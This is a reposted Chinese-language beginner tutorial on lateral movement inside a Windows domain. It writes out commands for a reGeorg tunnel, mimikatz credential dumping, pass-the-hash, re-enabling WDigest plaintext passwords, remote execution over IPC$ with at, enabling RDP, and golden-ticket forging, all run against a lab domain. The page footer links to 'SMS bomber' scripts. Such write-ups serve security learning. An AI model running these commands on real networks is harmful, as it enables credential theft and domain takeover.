内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透内网渗透的前提需要获取一个 Webshell 可以是低权限的 Webshell 因为可以通过提权获取高权限

大家好,欢迎来到IT知识分享网。

原文作者:ajie

原文地址:https://xz.aliyun.com/t/10439

0x01 基础知识

内网渗透,从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个Webshell,可以是低权限的Webshell,因为可以通过提权获取高权限。

在进行内网渗透之前需要了解一个概念,域环境。在内网中,往往可能存在几百上千台机器,例如需要对机器进行升级、打补丁、设置权限等,管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域,将所有其他主机加入域中,以域控来操作其他主机。因为域控的高权限,导致了域控所在的主机的管理员账号密码,可以登录任意一台主机,所以内网渗透的最终目标,往往便是拿下域控的权限。

首先通过提权获取一个具有管理员权限的账号密码hacker/1234,abcd。具体提权过程就不细说了。下面将利用获取的这个具有管理员权限的账号密码正式开始内网渗透实践。

0x02 内网穿透

在渗透测试过程中,我们拿下了一台服务器的权限,并且通过netstat -ano发现开启了3389端口,想要远程桌面连接的时候发现无法连接。这是因为我们获取的服务器所处的环境为内网,而内网主机的3389端口,是公网IP通过端口映射的。也就是说,我们连接的外网IP地址的3389端口,映射到内网中,不一定是那台服务器的3389端口。
解决这种问题的方法有两种:
1、让目标机器去连接外网主机(必须有一台公网服务器,内网主机能够访问互联网)
2、在目标机器上设置一个信号站(放一个WEB文件在目标机器上,所有流量都经过这个文件通信)
在渗透测试过程中,内网主机不能够访问互联网是很常见的,下面通过方法2进行内网穿透。

一、具体流程

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

3、以python环境运行reGeorgSocksProxy.py脚本,将从本机的3344端口经过的数据都发送给目标机器的tunnel.nosocket.php文件。

python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.229.151/tunnel.nosocket.php

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

0x03 内网信息收集

PsExec.exe -s -i -d cmd

内网渗透初探 | 小白简单学习内网渗透

2、获取所有域用户列表
使用net user /domain命令获取内网的域为ajie.cool,域中具有Administrator、Guest、krbtgt、web用户。

内网渗透初探 | 小白简单学习内网渗透

3、获取域用户组信息
使用net group /domain命令获取域用户组信息。

内网渗透初探 | 小白简单学习内网渗透

4、获取域管理员列表
使用net group “domain admins” /domain 命令获取域管理员列表,域管账户只有Administrator。

内网渗透初探 | 小白简单学习内网渗透

5、获取域服务器的IP地址
通过ping 域名称来获取域服务器的IP地址。(也可以通过查看dns服务器的IP地址,结合进行判断域服务器的IP地址。)

内网渗透初探 | 小白简单学习内网渗透

6、安装Nmap进行扫描
前面介绍了Nmap工具,在内网渗透过程中也可以通过Nmap获取内网信息。
1)首先通过Webshell上传Nmap的安装包。

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

0x04 Hash读取

此处Hash读取通过工具mimikatz来进行,mimikatz是由本杰明·德尔皮创建开发的一个能够从内存中读取hash账号密码的工具,也可以说是内网渗透中的神器。

下面介绍如何通过mimikatz工具读取服务器内存中存储的hash密码。
1、首先以管理员权限打开mimikatz。

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透


0x05 Hash传递

一、基础知识

上面介绍了如何进行Hash读取,如果域控管理员使用自己的域控账号登录了服务器,那么就可以抓取到域控的账号和密码了。这样的危害性是巨大的,所以在渗透测试过程中,内网的机器往往会打KB补丁,并且修改注册表关闭Wdigest Auth。这样抓取的就不是明文密码了。虽然还是能够获取密文Hash,但是密文Hash往往不可逆,解开需要花费大量精力。
在域环境下,检测密码不是先将Hash解密再验证是否正确的。在验证输入的账号密码是否正确的时候,是通过验证Hash是否相同来进行校验的。也就是说,或许我们可以通过获取的Hash来伪造管理员账号密码登录,也就是Hash传递,又叫PTH,通过将获取的NTLM密文传递到验证登录的机器,绕过正常验证进行登录系统。

二、Wdigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

(2)关闭Wdigest Auth

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

三、IPC$

1、概念

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

IPC$的使用条件:
开放了139、445端口;
目标开启IPC$文件共享;
获取用户账号密码。

在内网中,默认就会开启IPC$共享文件服务,默认会将C盘共享出来,也就是说,我们可以通过IPC获取目标C盘的权限。

2、IPC$常用命令
net use 查看当前连接的IPC$
net use * /del 删除IPC$连接
net use \192.168.1.1\ipc$ 密码 /user:域\账号 连接域内IP地址为192.168.1.1的主机
dir \192.168.1.1\c$ 列出连接的192.168.1.1的C盘文件
copy c:/12.txt \192.168.1.1\c$\2.txt 复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt

内网渗透初探 | 小白简单学习内网渗透

3、IPC$命令执行

1、通过at命令制定计划进行命令执行。

at \\192.168.1.1 11:15am cmd /c "whoami"

2、通过at命令制定计划进行多层代理的命令执行

at \\192.168.100.1 11:15am cmd /c "net use \\192.168.200.1\ipc$ 密码 /user:账号"
at \\192.168.100.1 11:15am cmd /c "at \\192.168.100.1 11:15am cmd /c "whoami" "

四、Hash传递实战演示

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

内网渗透初探 | 小白简单学习内网渗透

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

0x06 黄金票据

一、基础知识

前面了解到在域环境中,域控的账号密码可以登录域内任意一台主机,那么主机是如何检测域控账号密码是否正确的呢?检验账号密码可以有两种方法,询问域控或者设置一个专门检测账号密码是否正确的第三方中心。在域中便使用到了第三方中心来检验输入的账号密码是否相同。这种第三方中心叫KDC密钥分发中心。(以下内容涉及内网的kerboros协议,小弟学业不精,就简单说一下了。)

二、KDC密钥分发中心

KDC(kerberos Distribution Center)密钥分发中心,维护所有账户的名称和Master Key(key的hash code)。

内网渗透初探 | 小白简单学习内网渗透

1、AS

授权服务(Authorization Server),对于上面的流程1,提供初始授权认证,用户表明需求并使用密码对请求进行加密,AS用提供的密码对请求进行解密后得到的请求内容,返回给用户一个TGT(票据授权票据 ticket granting tickets)(用一个密码加密)。

2、TGS

用户得到TGT之后使用TGT去访问TGS(票据授权中心Ticket Granting Server),

TGS验证TGT后(使用密钥解密),返回一个Ticket给用户;用户得到Ticket后去访问Server,Server收到Ticket和KDC进行验证,通过后提供服务。

3、票据

在内网渗透中,票据分为白银票据和黄金票据。分别对应域普通用户的票据和域管理员的票据。票据就是Kerberos认证协议的Ticket,因为已经经过了AS和TGS的校验,所以获取了票据之后,可以任意登录目标主机。

在查询域内用户的时候,总会看到一个用户叫krbtgt,如图5-37所示。krbtgt账户其实就是KDC秘钥分发中心用的超管账户。我们拿着krbtgt账户的票据,去访问域内机器,目标主机会认为我们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问。
一般管理员会修改域控账号的密码,但是很少有管理员会修改Krbtgt的密码。在内网渗透的最后阶段,我们需要通过获取黄金票据进行权限维持,那么下面将介绍如何获取krbtgt账户的黄金票据。

内网渗透初探 | 小白简单学习内网渗透

三、实战演示

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

Object Security ID : S-1-5-21---Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659

内网渗透初探 | 小白简单学习内网渗透

kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21--- /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

内网渗透初探 | 小白简单学习内网渗透

0x07 总结

以上便是我学习的简单地从外网获取shell,经过提权或不提权直接进行内网渗透的一个简单过程,其中涉及一些概念问题没有说的很明白,希望表哥们提点提点。以上仅为个人学习过程,可能知识点过于简单,望理解。

关注微信公众号:IT运维技术圈 获取更多的面试题、脚本等运维资料点击:
运维知识社区
获取

脚本之—短信轰炸机

脚本之—微信轰炸机

ansible—一键搭建redis5.0.5集群

elk7.9真集群docker部署文档

全球最全loki部署及配置文档

最强安全加固脚本2.0

一键设置iptbales脚本

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/171860.html

(0)
上一篇 2025-02-27 09:05
下一篇 2025-02-27 09:10

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信